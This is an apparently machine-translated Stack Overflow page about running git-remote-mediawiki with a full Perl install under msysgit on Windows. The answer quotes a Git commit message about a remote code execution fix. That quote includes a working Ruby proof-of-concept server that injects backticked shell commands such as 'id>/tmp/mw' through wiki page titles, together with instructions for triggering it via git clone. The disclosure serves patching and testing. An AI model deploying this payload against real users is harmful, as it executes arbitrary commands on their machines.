Используйте полные библиотеки perl в msysgit для git-remote-mediawiki

msysgit поставляет минимальные Perl-библиотеки.

Я хочу загрузить некоторые пакеты из CPAN, поэтому мне нужно использовать полные библиотеки perl.

Как это сделать?

В частности, я хочу использовать плагин git-remote-mediawiki. Вот почему необходима полная установка Perl-библиотек.


person linquize    schedule 06.04.2013    source источник
comment
Возникла проблема с perl INC. Не удается найти MediaWiki/API.pm в @INC (@INC содержит: /usr/lib/perl5/5.8.8/msys   -  person mob    schedule 06.04.2013


Ответы (1)


Сначала проверьте (как в это article), если достаточно изменить PERL5LIB переменную среды для ссылки на этот скрипт (измените git-cmd.bat):

set PERL5LIB = c:\path\to\git\contrib

В противном случае для внешнего скрипта perl contrib, например git-remote-mediawiki, вы можете попробовать выполнить его из сеанса DOS с любым установленным последним дистрибутивом Perl.
(например, Strawberry Perl, как рекомендует толпа в комментарии).

Я бы рекомендовал использовать git-cmd.bat (который правильно устанавливает git PATH и HOME), сначала добавляя собственный perl:

@set PATH=%git_install_root%\bin;%git_install_root%\mingw\bin;%git_install_root%\cmd;%PATH%
# let's add our perl:
@set PATH=path/to/yourPerl;%PATH%

Это не зависит от установки msysgit, которая использует старый perl по причинам, описанным в часто задаваемые вопросы.

Причина в том, что нам нужна версия Perl для MSys, потому что нам не удалось скомпилировать модули Subversion (которые написаны на C с использованием функций POSIX, которые не предлагает обычная Windows, отсюда и потребность в MSys).


Этого оказалось достаточно, чтобы запустить скрипт, но OP linquize добавляет комментарии:

В итоге я пишу программу оболочки git-remote-mediawiki.exe для вызова внешнего perl, и мне нужно преобразовать CRLF в LF перед записью stdout в git, иначе git зависнет, если будет получено CRLF.


Примечание. git-remote-mediawiki более надежен с Git 2.29 (4 квартал 2020 г.), а также с некоторыми модернизациями и исправлениями удаленного бэкэнда MediaWiki.

Например:

Докладчик: Йорн Шневайс
Подпись: Эвар Арнфьорд Бьярмасон

Установите Strawberry Perl

Измените те callsites, которые могут вызывать run_safe(), со списком аргументов в кавычках, чтобы сделать это.

Это исправляет ошибку RCE (удаленное выполнение кода) в этом транспортном помощнике, о которой сообщил Джорн Шнеевайс в Список рассылки git-security.
Проблема обнародуется из-за относительной неизвестности кода remote-mediawiki.

Проблема безопасности заключается в том, что мы бы выполнили подобную команду через open -| Perl, где $name берется непосредственно из ответа api.php. Так что ответ JSON, например:

Приведет к вызову:

[...]"title":"`id>/tmp/mw`:Main Page"[..]  

Из такого кода, который изменяется этим патчем:

git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"  

Итак, мы бы выполнили произвольную команду, а также поставили remote.origin.namespaceCache=:notANameSpace в конфиг.
С этим изменением мы все это цитируем, поэтому теперь мы просто пропишем remote.origin.namespaceCache=``id>/tmp/x``:notANameSpace в конфиге, а не будем выполнять никаких удаленных команд.

run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));  

О реализации: как указано в разделе Открытие дескриптора файла в команду (см. также Открытие Safe Pipe), стиль вызова open() имеет проблемы с совместимостью в Windows до Perl 5.22.
Однако Йоханнес Шинделин отмечает, что нам не следует беспокоиться о Windows в этом контексте, потому что (цитируя его личное электронное письмо):

Помощник mediawiki никогда не поставлялся как часть официальной версии Git для Windows. Он также никогда не был частью официального пакета MSYS2. Это означает, что пользователи Windows, которые хотят использовать помощник mediawiki, должны сами собрать Git, что, похоже, делают немногие пользователи.

  1. Последней версией Git для Windows, которая поставлялась с Perl v5.22.x, была Git для Windows v2.11.1; Начиная с Git для Windows версии 2.12.0 (выпущенной 25 февраля 2017 г.) были включены только более новые версии Perl.

  2. Так что давайте просто воспользуемся этим open() API.
    Поиск показывает, что другой код Perl, который мы поставляем, такой как gitweb и т. д., использует этот способ вызова open(), так что у нас не должно возникнуть проблем с совместимостью.

Для дальнейшего справки и будущего тестирования вот рабочий код эксплойта, предоставленный Джорном:

Который:

#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team  

require 'sinatra'
set bind: '0.0.0.0'  

if not ARGV[0]  

puts "Please provide the shell command to be execucted."
exit -1  

end  

cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)  

post '/api.php' do  

if params[:list] == 'allpages'
  return all_pages
end  

if params[:prop] == 'revisions'
  return revs
end  

return mainpage
end  

[...] следует запускать как: ruby wiki.rb 'id>/tmp/mw'.
Теперь при клонировании с помощью git clone mediawiki::http://localhost:4567 в процессе клонирования будет создан файл /tmp/mw, содержащий выходные данные id.

remote-mediawiki: преобразовать в run_git() вызов в кавычках

person VonC    schedule 06.04.2013
comment
@linquize похоже, что вы используете не тот perl, тогда (stackoverflow.com/a/10837013/6309) - person linquize; 06.04.2013
comment
@linquize или не устанавливайте дополнительный perl и проверьте, достаточно ли просто изменить _1_ для ссылки на скрипт _2_ perl (perl5maven.com/) - person VonC; 06.04.2013
comment
Я не могу найти PERL5LIB в Perl-скрипте. Как мне это изменить? Кроме того, я запускаю переносимый perl, и есть lib, site/lib, vendor/lib - person VonC; 06.04.2013
comment
Да, но почему путь _1_? - person linquize; 06.04.2013
comment
@linquizev это пример, который вам нужно адаптировать к вашей установке git. По сути, это может быть любой каталог, в который вы скопировали скрипт c:\path\to\git\contrib. - person linquize; 06.04.2013
comment
В итоге я пишу программу-оболочку git-remote-mediawiki.exe для вызова внешнего perl и мне нужно преобразовать CRLF в LF перед записью в stdout в git, иначе git зависает, если получен CRLF. - person VonC; 06.04.2013
comment
@linquize хорошо, я добавил этот шаг в ответ для большей наглядности. - person linquize; 07.04.2013
comment
Однако я застреваю, когда в вики есть символы UTF-8. Некоторые UTF-8 в Windows испорчены, но в Linux нет проблем. - person VonC; 07.04.2013
comment
@linquize, может быть, было бы лучше пометить этот вопрос как решенный и тогда открыть новый. - person linquize; 08.04.2013